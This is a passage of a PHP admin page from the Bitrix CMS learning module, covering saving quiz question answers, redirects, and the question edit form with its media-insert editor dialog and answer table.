$arFields["CORRECT"] = (${"ANSWER_".$a["ID"]."_CORRECT"} == "Y" ? "Y" : "N");
break;
case "S":
default:
$arFields["CORRECT"] = ($a["ID"] == $ANSWER_CORRECT ? "Y" : "N");
}
$asw = new CLAnswer;
$res = $asw->Update($a["ID"], $arFields);
if (!$res)
{
$message = new CAdminMessage(Array("MESSAGE" => GetMessage("LEARNING_SAVE_ERROR").$a["ID"]));
$bVarsFromForm = true;
}
}
}
//add new
for ($i=0; $i<500; $i++)
{
if (strlen(${"ANSWER_n".$i."_ANSWER"})<=0) continue;
$arFields = Array(
"SORT" => ${"ANSWER_n".$i."_SORT"},
"ANSWER" => ${"ANSWER_n".$i."_ANSWER"},
"QUESTION_ID" => $ID,
);
switch ($QUESTION_TYPE)
{
case "M":
$arFields["CORRECT"] = (${"ANSWER_n".$i."_CORRECT"} == "Y" ? "Y" : "N");
break;
case "S":
default:
$arFields["CORRECT"] = ("n".$i == $ANSWER_CORRECT ? "Y" : "N");
}
$asw = new CLAnswer;
$AswerID = $asw->Add($arFields);
if (intval($AswerID)<=0)
{
if ($e = $APPLICATION->GetException())
$message = new CAdminMessage(GetMessage("LEARNING_ERROR"), $e);
$bVarsFromForm = true;
}
}
}
else
{
//Delete answers
$answers = CLAnswer::GetList(Array(),Array("QUESTION_ID" => $ID));
while ($a = $answers->GetNext())
{
CLAnswer::Delete($a["ID"]);
}
}
//Redirect
if (!$bVarsFromForm)
{
if(strlen($apply)<=0)
{
if ($from == "learn_admin")
{
LocalRedirect("/bitrix/admin/learn_unilesson_admin.php?lang=" . LANG
. '&LESSON_PATH=' . $uriParentLessonPath
. GetFilterParams("filter_", false)
. "&from=learn_admin");
}
elseif ($from == "learn_menu")
{
LocalRedirect("/bitrix/admin/learn_question_admin.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. GetFilterParams("filter_", false)
. "&from=learn_menu");
}
elseif (strlen($return_url)>0)
LocalRedirect($return_url);
else
{
LocalRedirect("/bitrix/admin/learn_question_admin.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. GetFilterParams("filter_", false));
}
}
LocalRedirect("/bitrix/admin/learn_question_edit.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. "&ID=" . $ID
. "&" . $tabControl->ActiveTabParam()
. GetFilterParams("filter_", false)
. ($from == "learn_admin" ? "&from=learn_admin" :""));
}
}
}
//Defaults
$str_SELF = "N";
$str_ACTIVE = "Y";
$str_CORRECT_REQUIRED = "N";
$str_COMMENT_TEXT = '';
$str_DIRECTION = "V";
$str_DESCRIPTION_TYPE= "text";
$str_SORT = "500";
$str_QUESTION_TYPE = "S";
$str_POINT = 10;
$str_EMAIL_ANSWER = "N";
$result = CLQuestion::GetByID($ID);
if(!$result->ExtractFields("str_"))
$ID = 0;
if($bVarsFromForm)
{
$ACTIVE = ($ACTIVE != "Y"? "N":"Y");
$DB->InitTableVarsForEdit("b_learn_question", "", "str_");
$str_FILE_ID = 0;
}
if (isset($QUESTION_TYPE) && strlen($QUESTION_TYPE) === 1)
{
$str_QUESTION_TYPE = $QUESTION_TYPE;
}
if ($ID > 0)
$APPLICATION->SetTitle(GetMessage("LEARNING_QUESTION").": ".GetMessage("LEARNING_EDIT_TITLE"));
else
$APPLICATION->SetTitle(GetMessage('LEARNING_QUESTION').": ".GetMessage("LEARNING_NEW_TITLE"));
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
$aContext = array(
array(
"ICON" => "btn_list",
"TEXT" => GetMessage("MAIN_ADMIN_MENU_LIST"),
"LINK" => "learn_question_admin.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. GetFilterParams("filter_"),
"TITLE" => GetMessage("LEARNING_QUESTION_LIST")
),
);
if (!$bBadCourse):
if ($ID > 0)
{
$arContextPopup = Array(
Array(
"TEXT" => GetMessage('LEARNING_SINGLE_CHOICE'),
"ACTION" => "window.location='learn_question_edit.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. GetFilterParams("filter_", false)
. "&QUESTION_TYPE=S"
. ($from=="learn_admin"?"&from=learn_admin":"")
. "'",
),
Array(
"TEXT" => GetMessage('LEARNING_MULTIPLE_CHOICE'),
"ACTION" => "window.location='learn_question_edit.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. GetFilterParams("filter_", false)
. "&QUESTION_TYPE=M"
. ($from=="learn_admin"?"&from=learn_admin":"")
. "'",
),
Array(
"TEXT" => GetMessage('LEARNING_SORTING'),
"ACTION" => "window.location='learn_question_edit.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. GetFilterParams("filter_", false)
. "&QUESTION_TYPE=R"
. ($from=="learn_admin"?"&from=learn_admin":"")
. "'",
),
Array(
"TEXT" => GetMessage('LEARNING_TEXT_ANSWER'),
"ACTION" => "window.location='learn_question_edit.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. GetFilterParams("filter_", false)
. "&QUESTION_TYPE=T"
. ($from=="learn_admin"?"&from=learn_admin":"")
. "'",
),
);
$aContext[] = array(
"ICON" => "btn_new",
"TEXT"=>GetMessage("MAIN_ADMIN_MENU_CREATE"),
"MENU" => $arContextPopup,
"TITLE"=>GetMessage("LEARNING_ADD")
);
$aContext[] = array(
"ICON" => "btn_delete",
"TEXT" => GetMessage("MAIN_ADMIN_MENU_DELETE"),
"LINK" => "javascript:if(confirm('" . GetMessage("LEARNING_CONFIRM_DEL_MESSAGE")
. "'))window.location='learn_question_admin.php?lang=" . LANG
. '&LESSON_PATH=' . $uriLessonPath
. "&action=delete&ID=" . $ID
. "&" . bitrix_sessid_get()
. urlencode(GetFilterParams("filter_", false))
. "';",
);
}
$context = new CAdminContextMenu($aContext);
$context->Show();
if ($message)
echo $message->Show();
?>
<?
CAdminFileDialog::ShowScript(Array(
"event" => "OpenFileBrowserWindMedia",
"arResultDest" => Array("FUNCTION_NAME" => "SetUrl"),
"arPath" => Array("SITE" => $_GET["site"], "PATH" =>(strlen($str_FILENAME)>0 ? GetDirPath($str_FILENAME) : '')),
"select" => 'F',// F - file only, D - folder only,
"operation" => 'O',// O - open, S - save
"showUploadTab" => true,
"showAddToMenuTab" => false,
"fileFilter" => 'wmv,flv,mp4,wma,mp3',//'' - don't shjow select, 'image' - only images; "ext1,ext2" - Only files with ext1 and ext2 extentions;
"allowAllFiles" => true,
"SaveConfig" => true
));
?>
<?php
function CustomizeEditor()
{
ob_start()?>
<div class="bxed-dialog">
<table class="bx-image-dialog-tbl">
<tr>
<td class="bx-par-title"><?echo GetMessage("LEARNING_PATH_TO_FILE")?>:</td>
<td class="bx-par-val" colspan="3">
<input type="text" size="30" id="mediaPath" />
<input type="button" value="..." id="OpenFileBrowserWindMedia_button">
</td>
</tr>
<tr>
<td class="bx-par-title"><?echo GetMessage("LEARNING_WIDTH")?>:</td>
<td width="80px"><input type="text" size="3" id="mediaWidth" /></td>
<td><?echo GetMessage("LEARNING_HEIGHT")?>:</td>
<td class="bx-par-val"><input type="text" size="3" id="mediaHeight" /></td>
</tr>
</table>
</div>
<?php $dialogHTML = ob_get_clean()?>
<script type="text/javascript">
var pEditor;
var pElement;
function SetUrl(filename, path, site)
{
if (path.substr(-1) == "/")
{
path = path.substr(0, path.length - 1);
}
var url = path+'/'+filename;
BX("mediaPath").value = url;
if(BX("mediaPath").onchange)
BX("mediaPath").onchange();
}
function _mediaParser(_str, pMainObj)
{
// **** Parse WMV ****
// b1, b3 - quotes
// b2 - id of the div
// b4 - javascript config
var ReplaceWMV = function(str, b1, b2, b3, b4)
{
var
id = b2,
JSConfig, w, h, prPath;
try {eval('JSConfig = ' + b4); } catch (e) { JSConfig = false; }
if (!id || !JSConfig)
return '';
var w = (parseInt(JSConfig.width) || 50);
var h = (parseInt(JSConfig.height) || 25);
var arTagParams = {file: JSConfig.file};
var bxTag = pMainObj.GetBxTag(id);
if (bxTag && bxTag && bxTag.tag == "media")
{
arTagParams.id = id;
}
return '<img id="' + pMainObj.SetBxTag(false, {tag: 'media', params: arTagParams}) + '" src="/bitrix/images/1.gif" style="border: 1px solid rgb(182, 182, 184); background-color: rgb(226, 223, 218); background-image: url(/bitrix/images/learning/icons/media.gif); background-position: center center; background-repeat: no-repeat; width: '+w+'px; height: '+h+'px;" width="'+w+'" height="'+h+'" />';
}
_str = _str.replace(/<script.*?silverlight\.js.*?<\/script>\s*?<script.*?wmvplayer\.js.*?<\/script>\s*?<div.*?id\s*?=\s*?("|\')(.*?)\1.*?<\/div>\s*?<script.*?jeroenwijering\.Player\(document\.getElementById\(("|\')\2\3.*?wmvplayer\.xaml.*?({.*?})\).*?<\/script>/ig, ReplaceWMV);
// **** Parse FLV ****
var ReplaceFLV = function(str, attr)
{
attr = attr.replace(/[\r\n]+/ig, ' '); attr = attr.replace(/\s+/ig, ' '); attr = jsUtils.trim(attr);
var
arParams = {},
arFlashvars = {},
w, h, id, prPath;
attr.replace(/([^\w]??)(\w+?)\s*=\s*("|\')([^\3]+?)\3/ig, function(s, b0, b1, b2, b3)
{
b1 = b1.toLowerCase();
if (b1 == 'src' || b1 == 'type' || b1 == 'allowscriptaccess' || b1 == 'allowfullscreen' || b1 == 'pluginspage' || b1 == 'wmode')
return '';
arParams[b1] = b3; return b0;
});
id = arParams.id;
if (!id || !arParams.flashvars)
return str;
arParams.flashvars.replace(/(\w+?)=((?:\s|\S)*?)&/ig, function(s, name, val) { arFlashvars[name] = val; return ''; });
var w = (parseInt(arParams.width) || 50);
var h = (parseInt(arParams.height) || 25);
var arTagParams = {file: arFlashvars["file"]};
var bxTag = pMainObj.GetBxTag(id);
if (bxTag && bxTag && bxTag.tag == "media")
{
arTagParams.id = id;
}
return '<img id="' + pMainObj.SetBxTag(false, {tag: 'media', params: arTagParams}) + '" src="/bitrix/images/1.gif" style="border: 1px solid rgb(182, 182, 184); background-color: rgb(226, 223, 218); background-image: url(/bitrix/images/learning/icons/media.gif); background-position: center center; background-repeat: no-repeat; width: '+w+'px; height: '+h+'px;" width="'+w+'" height="'+h+'" />';
}
_str = _str.replace(/<object.*?>.*?<embed((?:\s|\S)*?player\/mediaplayer\/player\.swf(?:\s|\S)*?)(?:>\s*?<\/embed)?(?:\/?)?>.*?<\/object>/ig, ReplaceFLV);
return _str;
}
arContentParsers.unshift(_mediaParser);
function _mediaUnParser(_node, pMainObj)
{
bxTag = pMainObj.GetBxTag(_node.arAttributes["id"]);
if (bxTag && bxTag.tag && bxTag.tag == "media")
{
var ext = bxTag.params.file.substr(bxTag.params.file.length - 3);
var bWM = ext == "wmv" || ext == "wma";
if (!bWM) // FL
{
var str = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" ';
str += 'id="' + _node.arAttributes["id"] + '" ';
str += 'width="' + _node.arAttributes["width"] + '" ';
str += 'height="' + _node.arAttributes["height"] + '" ';
str += '>';
str += '<param name="movie" value="/bitrix/components/bitrix/player/mediaplayer/player">';
var embed = '<embed src="/bitrix/components/bitrix/player/mediaplayer/player" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" pluginspage="http:/' + '/www.macromedia.com/go/getflashplayer" ';
embed += 'id="' + _node.arAttributes["id"] + '" ';
var arParams = {
"menu": "true",
"wmode": "transparent",
"width": _node.arAttributes["width"],
"height": _node.arAttributes["height"],
"flashvars" : {
"file" : bxTag.params.file,
"logo.hide" : "true",
"skin": "/bitrix/components/bitrix/player/mediaplayer/skins/bitrix.swf",
"repeat" : "N",
"bufferlength" : "10",
"dock" : "true"
}
}
for (i in arParams)
{
if (i == 'flashvars')
{
embed += 'flashvars="';
str += '<param name="flashvars" value="';
for (k in arParams[i])
{
embed += k + '=' + arParams[i][k] + '&';
str += k + '=' + arParams[i][k] + '&';
}
embed = embed.substring(0, embed.length - 1) + '" ';
str = str.substring(0, str.length - 1) + '">';
}
else
{
embed += i + '="' + arParams[i] + '" ';
str += '<param name="' + i +'" value="' + arParams[i] +'">';
}
}
embed += '/>';
str += embed +'</object>';
}
else // WM
{
str = '<script type="text/javascript" src="/bitrix/components/bitrix/player/wmvplayer/silverlight.js" /><\/script>' +
'<script type="text/javascript" src="/bitrix/components/bitrix/player/wmvplayer/wmvplayer.js"><\/script>' +
'<div id="' + _node.arAttributes["id"] + '">WMV Player</div>' +
'<script type="text/javascript">new jeroenwijering.Player(document.getElementById("' + _node.arAttributes["id"] + '"), "/bitrix/components/bitrix/player/wmvplayer/wmvplayer.xaml", {';
var arParams = {
"file" : bxTag.params.file,
"bufferlength" : "10",
"width": _node.arAttributes["width"],
"height": _node.arAttributes["height"],
"windowless": "true"
}
for (i in arParams)
str += i + ': "' + arParams[i] + '", ';
str = str.substring(0, str.length - 2);
str += '});<\/script>';
}
return str;
}
return false;
}
oBXEditorUtils.addUnParser(_mediaUnParser);
var pSaveButton = new BX.CWindowButton({
'title': '<?echo GetMessage("LEARNING_SAVE")?>',
'action': function() {
var path = BX('mediaPath').value;
var width = BX('mediaWidth').value;
var height = BX('mediaHeight').value;
this.parentWindow.Close();
if (path.length > 0 && parseInt(width) > 0 && parseInt(height) > 0)
{
if (pElement && pElement.getAttribute && pElement.getAttribute("id"))
{
var bxTag = pEditor.GetBxTag(pElement.getAttribute("id"))
if (bxTag && bxTag.tag && bxTag.tag == "media")
{
bxTag.params.file = path;
SAttr(pElement, "width", width);
SAttr(pElement, "height", height);
pElement.style.width = width + "px";
pElement.style.height = height + "px";
}
}
else
{
var arParams = {file: path};
pEditor.insertHTML('<img id="' + pEditor.SetBxTag(false, {tag: 'media', params: arParams}) + '" src="/bitrix/images/1.gif" style="border: 1px solid rgb(182, 182, 184); background-color: rgb(226, 223, 218); background-image: url(/bitrix/images/learning/icons/media.gif); background-position: center center; background-repeat: no-repeat; width: '+width+'px; height: '+height+'px;" width="'+width+'" height="'+height+'" />');
}
}
pElement = null;
}
});
var pDialog = new BX.CDialog({
title : '<?echo GetMessage("LEARNING_VIDEO_AUDIO")?>',
content: '<?php echo CUtil::JSEscape(preg_replace("~>\s+<~", "><", trim($dialogHTML)))?>',
height: 180,
width: 520,
resizable: false,
buttons: [pSaveButton, BX.CDialog.btnClose]
});
var pMediaButton = [
'BXButton',
{
id : 'media',
src : '/bitrix/images/learning/icons/media.gif',
name : "<?echo GetMessage("LEARNING_VIDEO_AUDIO")?>",
handler : function () {
pDialog.Show();
pEditor = this.pMainObj;
BX("OpenFileBrowserWindMedia_button").onclick = OpenFileBrowserWindMedia;
pElement = pEditor.GetSelectionObject();
if (pElement && pElement.getAttribute && pElement.getAttribute("id"))
{
var bxTag = pEditor.GetBxTag(pElement.getAttribute("id"))
if (bxTag && bxTag.tag && bxTag.tag == "media")
{
BX('mediaPath').value = bxTag.params.file;
BX('mediaWidth').value = pElement.getAttribute("width");
BX('mediaHeight').value = pElement.getAttribute("height");
}
}
else
{
BX('mediaPath').value = "";
BX('mediaWidth').value = "400";
BX('mediaHeight').value = "300";
}
}
}
];
if (window.lightMode)
{
for(var i = 0, l = arGlobalToolbar.length; i < l ; i++)
{
var arButton = arGlobalToolbar[i];
if (arButton[1] && arButton[1].id == "insert_flash" && arGlobalToolbar[i+1][1].id != "media") {
arGlobalToolbar.splice(i + 1, 0, pMediaButton);
break;
}
}
}
else
{
oBXEditorUtils.appendButton("insert_media", pMediaButton, "standart");
}
</script>
<?php }?>
<?php AddEventHandler("fileman", "OnIncludeHTMLEditorScript", "CustomizeEditor"); ?>
<?php $tabControl->BeginEpilogContent();?>
<?=bitrix_sessid_post()?>
<?echo GetFilterHiddens("filter_");?>
<input type="hidden" name="Update" value="Y">
<input type="hidden" name="from" value="<?echo htmlspecialcharsbx($from)?>">
<input type="hidden" name="return_url" value="<?echo htmlspecialcharsbx($return_url)?>">
<input type="hidden" name="ID" value="<?echo $ID?>">
<input type="hidden" name="LESSON_PATH" value="<?php echo htmlspecialcharsbx(urldecode($uriLessonPath)); ?>">
<?php $tabControl->EndEpilogContent();?>
<?$tabControl->Begin();?>
<?$tabControl->BeginNextFormTab();?>
<!-- ID -->
<?php $tabControl->BeginCustomField("ID", "ID", false);?>
<?if($ID>0):?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?=$str_ID?></td>
</tr>
<? endif; ?>
<?php $tabControl->EndCustomField("ID");?>
<!-- Timestamp_X -->
<?php $tabControl->BeginCustomField("TIMESTAMP_X", GetMessage("LEARNING_LAST_UPDATE"), false);?>
<?if($ID>0):?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?=$str_TIMESTAMP_X?></td>
</tr>
<? endif; ?>
<?php $tabControl->EndCustomField("TIMESTAMP_X");?>
<?php $tabControl->BeginCustomField("ACTIVE", GetMessage("LEARNING_ACTIVE"), false);?>
<!-- Active -->
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><input type="checkbox" name="ACTIVE" value="Y"<?if($str_ACTIVE=="Y")echo " checked"?>></td>
</tr>
<?php $tabControl->EndCustomField("ACTIVE");?>
<?php $tabControl->BeginCustomField("QUESTION_TYPE", GetMessage("LEARNING_QUESTION_TYPE"), false);?>
<tr>
<td width="40%"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td width="60%">
<select onchange="if(this[this.selectedIndex].value!='') window.location=this[this.selectedIndex].value;"<?php echo (defined('BX_PUBLIC_MODE') && BX_PUBLIC_MODE == 1 ? "disabled=\"disabled\"" : "")?>>
<option value="<?=$APPLICATION->GetCurPageParam("QUESTION_TYPE=S", array("QUESTION_TYPE","tabControl_active_tab"))?>" <?if($str_QUESTION_TYPE=="S") echo "selected"?>><?echo GetMessage("LEARNING_SINGLE_CHOICE")?></option>
<option value="<?=$APPLICATION->GetCurPageParam("QUESTION_TYPE=M", array("QUESTION_TYPE", "tabControl_active_tab"))?>" <?if($str_QUESTION_TYPE=="M") echo "selected"?>><?echo GetMessage("LEARNING_MULTIPLE_CHOICE")?></option>
<option value="<?=$APPLICATION->GetCurPageParam("QUESTION_TYPE=R", array("QUESTION_TYPE", "tabControl_active_tab"))?>" <?if($str_QUESTION_TYPE=="R") echo "selected"?>><?echo GetMessage("LEARNING_SORTING")?></option>
<option value="<?=$APPLICATION->GetCurPageParam("QUESTION_TYPE=T", array("QUESTION_TYPE", "tabControl_active_tab"))?>" <?if($str_QUESTION_TYPE=="T") echo "selected"?>><?echo GetMessage("LEARNING_TEXT_ANSWER")?></option>
</select>
<input type="hidden" name="QUESTION_TYPE" value="<?=$str_QUESTION_TYPE?>">
</td>
</tr>
<?php $tabControl->EndCustomField("QUESTION_TYPE");?>
<?php $tabControl->BeginCustomField("LESSON_ID", GetMessage("LEARNING_LESSON"), false);?>
<tr class="adm-detail-required-field">
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td><?php
$rsLesson = CLearnLesson::GetByID($LESSON_ID);
$arLesson = $rsLesson->GetNext();
$curDir = $APPLICATION->GetCurDir();
if (substr($curDir, -1) !== '/')
$curDir .= '/';
?>
<script>
function module_learning_js_admin_function_change_attached_lesson(lesson_id, name)
{
BX('attached_lesson_id').value = lesson_id;
BX('attached_lesson_name').textContent = name;
}
</script>
<div style="padding:0px;">
<span id="attached_lesson_name"><?php echo $arLesson['NAME']; ?></span>
(<a href="javascript:void(0);" class="bx-action-href"
onclick="window.open('<?php echo addslashes(htmlspecialcharsbx($curDir)); ?>learn_unilesson_admin.php?lang=<?php echo LANGUAGE_ID;
?>&search_retpoint=module_learning_js_admin_function_change_attached_lesson&search_mode_type=attach_question_to_lesson',
'module_learning_js_admin_window_select_lessons_for_attach',
'scrollbars=yes,resizable=yes,width=960,height=500,top='+Math.floor((screen.height - 560)/2-14)+',left='+Math.floor((screen.width - 960)/2-5));"
><?php echo GetMessage('LEARNING_CHANGE_ATTACHED_LESSON'); ?></a>)
</div>
<input id="attached_lesson_id" type="hidden" name="LESSON_ID" value="<?echo $LESSON_ID; ?>">
</td>
</tr>
<?php $tabControl->EndCustomField("LESSON_ID");?>
<?php $tabControl->BeginCustomField("NAME", GetMessage("LEARNING_NAME"), false);?>
<tr class="adm-detail-required-field">
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td valign="top">
<textarea name="NAME" size="50" maxlength="255" style="width:440px"><?php echo $str_NAME; ?></textarea>
</td>
</tr>
<?php $tabControl->EndCustomField("NAME");?>
<?php $tabControl->BeginCustomField("SORT", GetMessage("LEARNING_SORT"), false);?>
<!-- Sort -->
<tr>
<td><? echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<input type="text" name="SORT" size="10" maxlength="10" value="<?echo $str_SORT?>">
</td>
</tr>
<?php $tabControl->EndCustomField("SORT");?>
<?php $tabControl->BeginCustomField("POINT", GetMessage("LEARNING_POINT"), false);?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<input type="text" name="POINT" size="7" maxlength="10" value="<?echo $str_POINT?>">
</td>
</tr>
<?php $tabControl->EndCustomField("POINT");?>
<?php $tabControl->BeginCustomField("SELF", GetMessage("LEARNING_F_SELF"), false);?>
<?php if ($str_QUESTION_TYPE != "T"):?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<input type="checkbox" name="SELF" value="Y"<?if($str_SELF=="Y")echo " checked"?>>
</td>
</tr>
<?php endif?>
<?php $tabControl->EndCustomField("SELF");?>
<?php $tabControl->BeginCustomField("CORRECT_REQUIRED", GetMessage("LEARNING_CORRECT_REQUIRED"), false);?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<input type="checkbox" name="CORRECT_REQUIRED" value="Y"<?if($str_CORRECT_REQUIRED=="Y")echo " checked"?>>
</td>
</tr>
<?php $tabControl->EndCustomField("CORRECT_REQUIRED");?>
<?php $tabControl->BeginCustomField("INCORRECT_MESSAGE", GetMessage("LEARNING_INCORRECT_MESSAGE"), false);?>
<?php if ($str_QUESTION_TYPE != "T"):?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<input type="text" name="INCORRECT_MESSAGE" size="50" maxlength="255" value="<?echo $str_INCORRECT_MESSAGE?>">
</td>
</tr>
<?php endif?>
<?php $tabControl->EndCustomField("INCORRECT_MESSAGE");?>
<?php $tabControl->BeginCustomField("COMMENT_TEXT", GetMessage("LEARNING_COMMENT"), false);?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td valign="top">
<textarea name="COMMENT_TEXT" size="50" style="width:440px"><?php echo $str_COMMENT_TEXT; ?></textarea>
</td>
</tr>
<?php $tabControl->EndCustomField("COMMENT_TEXT");?>
<?php $tabControl->BeginCustomField("EMAIL_ANSWER", GetMessage("LEARNING_EMAIL_ANSWER"), false);?>
<?php if ($str_QUESTION_TYPE == "T"):?>
<tr>
<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<input type="checkbox" name="EMAIL_ANSWER" value="Y"<?if($str_EMAIL_ANSWER=="Y")echo " checked"?>>
</td>
</tr>
<?php endif?>
<?php $tabControl->EndCustomField("EMAIL_ANSWER");?>
<?php $tabControl->BeginCustomField("FILE_ID", GetMessage("LEARNING_PICTURE"), false);?>
<tr>
<td valign="top"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<?echo CFile::InputFile("FILE_ID", 20, $str_FILE_ID, false, 0, "IMAGE", "", 40);?><br>
<?
if($str_FILE_ID)
{
echo CFile::ShowImage($str_FILE_ID, 200, 200, "border=0", "", true);
}
?>
</td>
</tr>
<?php $tabControl->EndCustomField("FILE_ID");?>
<?$tabControl->BeginNextFormTab();?>
<?php $tabControl->BeginCustomField("ANSWERS", GetMessage("LEARNING_ANSWERS"), false);?>
<tr>
<td valign="top" colspan="2">
<?php if ($str_QUESTION_TYPE != "T"):?>
<table cellpadding="0" cellspacing="0" width="100%" class="internal" id="answers-table">
<tbody id="answers-table-tbody">
<tr class="heading">
<td align="center" width="40">ID</td>
<?php if ($str_QUESTION_TYPE != "R"):?><td align="center" width="40"><?echo GetMessage("LEARNING_QUESTION_ADM_CORRECT")?></td><?php endif?>
<td align="center"><?echo GetMessage("LEARNING_ANSWER")?></td>
<td align="center" width="40"><?echo GetMessage("LEARNING_COURSE_ADM_SORT")?></td>
<td align="center" width="40"><?echo GetMessage("LEARNING_COURSE_ADM_DELETE")?></td>
</tr>
<?php
$nextNum = 0;
$arNewIDs = array();
$arNewIDsInt = array();
if (is_array($ANSWER_HIDDEN_ID))
{
foreach($ANSWER_HIDDEN_ID as $id)
{
if ($id[0] == "n")
{
$origID = intval(substr($id, 1));
$arNewIDs[] = "n".$origID;
$arNewIDsInt[] = $origID;
}
}
}
if (sizeof($arNewIDsInt))
{
$nextNum = max($arNewIDsInt) + 1;
}
function _GetOldAndNew($answers)
{
global $arNewIDs;
if ($tmp = $answers->ExtractFields("str_ANSWER_"))
{
return $tmp;
}
elseif (list($key, $val) = each($arNewIDs))
{
global $str_ANSWER_ID, $str_ANSWER_CORRECT, $str_ANSWER_ANSWER, $str_ANSWER_SORT;
$str_ANSWER_ID = $val;
$str_ANSWER_CORRECT = "";
$str_ANSWER_ANSWER = "";
$str_ANSWER_SORT = "10";
return true;
}
return false;
}
$SINGLE_ID = "";
$answers = CLAnswer::GetList(Array("SORT" => "ASC","ID" => "ASC"),Array("QUESTION_ID"=>$ID));
while ($r = _GetOldAndNew($answers)):
if ($bVarsFromForm)
{
$DB->InitTableVarsForEdit("b_learn_answer", "ANSWER_".$str_ANSWER_ID."_", "str_ANSWER_");
if ($str_QUESTION_TYPE == "S" && isset($_POST["ANSWER_CORRECT"]))
{
$SINGLE_ID = $_POST["ANSWER_CORRECT"];
}
}
?>
<tr>
<td align="center" width="40" style="text-align:center;"><?echo ($str_ANSWER_ID>0? $str_ANSWER_ID:"")?></td>
<?php if ($str_QUESTION_TYPE != "R"):?>
<td align="center" width="40" style="text-align:center;">
<?if ($str_QUESTION_TYPE == "M"):?>
<input type="checkbox" name="ANSWER_<?=$str_ANSWER_ID?>_CORRECT" value="Y"<?if($str_ANSWER_CORRECT=="Y")echo " checked"?>>
<?else:?>
<input type="radio" name="ANSWER_CORRECT" value="<?=$str_ANSWER_ID?>"<?if($str_ANSWER_CORRECT=="Y" || $SINGLE_ID == $str_ANSWER_ID)echo " checked"?>>
<?endif?>
</td>
<?php endif?>
<td align="center" style="text-align:center;">
<textarea style="width: 98%" name="ANSWER_<?=$str_ANSWER_ID?>_ANSWER"><?php echo $str_ANSWER_ANSWER; ?></textarea>
</td>
<td align="center" width="40" style="text-align:center;">
<input type="text" size="3" name="ANSWER_<?=$str_ANSWER_ID?>_SORT" value="<?=$str_ANSWER_SORT?>">
</td>
<td align="center" width="40" style="text-align:center;">
<?if(intval($str_ANSWER_ID)>0):?>
<input type="checkbox" name="ANSWER_<?=$str_ANSWER_ID?>_DEL" value="Y">
<?else:?>
<a href="javascript:void(0);" onclick="BX.remove(this.parentNode.parentNode)"><img src="/bitrix/themes/.default/images/actions/delete_button.gif" border="0" width="20" height="20"/></a>
<?endif?>
<input type="hidden" name="ANSWER_HIDDEN_ID[]" value="<?=$str_ANSWER_ID?>">
</td>
</tr>
<?endwhile;?>
</tbody>
</table>
<script type="text/javascript">
var nextNum = <?php echo $nextNum; ?>;
function addAnswer() {
var uniqueCheckBoxId = 'designed_checkbox_' + (new Date().getUTCMilliseconds()) + '_' + Math.random().toString(36).substr(2, 9);
var row = BX.create("tr", {
children: [
BX.create('td', {
props: {
width: '40px'
},
style: {
textAlign: 'center',
color: 'blue'
},
html : ' '
}),
<?php
if ($str_QUESTION_TYPE != "R")
{
?>
BX.create('td', {
props: {
width: '40px',
align: 'center'
},
style: {
'color': 'gray',
'textAlign': 'center'
},
html : <?php
if ($str_QUESTION_TYPE == "M")
{
echo '\'<input id="\' + uniqueCheckBoxId + \'" class="adm-designed-checkbox" type="checkbox" value="Y" name="ANSWER_n\' + nextNum + \'_CORRECT">\''
. ' + \'<label class="adm-designed-checkbox-label" for="\' + uniqueCheckBoxId + \'" title=""></label>\'';
}
else
{
echo '\'<input type="radio" name="ANSWER_CORRECT" value="n\' + nextNum + \'">\'';
}
?>
}),
<?php
}
?>
BX.create('td', {
html : '<textarea name="ANSWER_n' + nextNum + '_ANSWER" style="width: 98%"></textarea>',
props : {align: 'center'}
}),
BX.create('td', {
props: {
width: '40px',
align: 'center'
},
style: {
'textAlign': 'center'
},
html : '<input type="text" size="3" name="ANSWER_n' + nextNum + '_SORT" value="10">'
}),
BX.create('td', {
props: {
width: '40px',
align: 'center'
},
style: {
'textAlign': 'center'
},
html : '<a href="javascript:void(0);" onclick="BX.remove(this.parentNode.parentNode)"><img src="/bitrix/themes/.default/images/actions/delete_button.gif" border="0" width="20" height="20"/></a><input type="hidden" name="ANSWER_HIDDEN_ID[]" value="n' + nextNum + '">'
})
]
});
nextNum++;
BX("answers-table-tbody").appendChild(row);
}
<?php
if ($ID == 0)
{
?>
for (i = 0; i < 4; i++)
addAnswer();
<?php
}
?>
</script>
<br />
<a href="javascript:void(0)" class="adm-btn" onclick="addAnswer();"><?php echo GetMessage("LEARNING_ADD_ANSWER")?></a>
<?php else:?>
<?php echo GetMessage("LEARNING_NO_ANSWERS")?>
<?php endif?>
</td>
</tr>
<?php $tabControl->EndCustomField("ANSWERS");?>
<?$tabControl->BeginNextFormTab();?>
<?php $tabControl->BeginCustomField("DESCRIPTION", GetMessage("LEARNING_DESCRIPTION"), false);?>
<?if(COption::GetOptionString("learning", "use_htmledit", "Y")=="Y" && CModule::IncludeModule("fileman")):?>
<tr>
<td colspan="2" align="center">
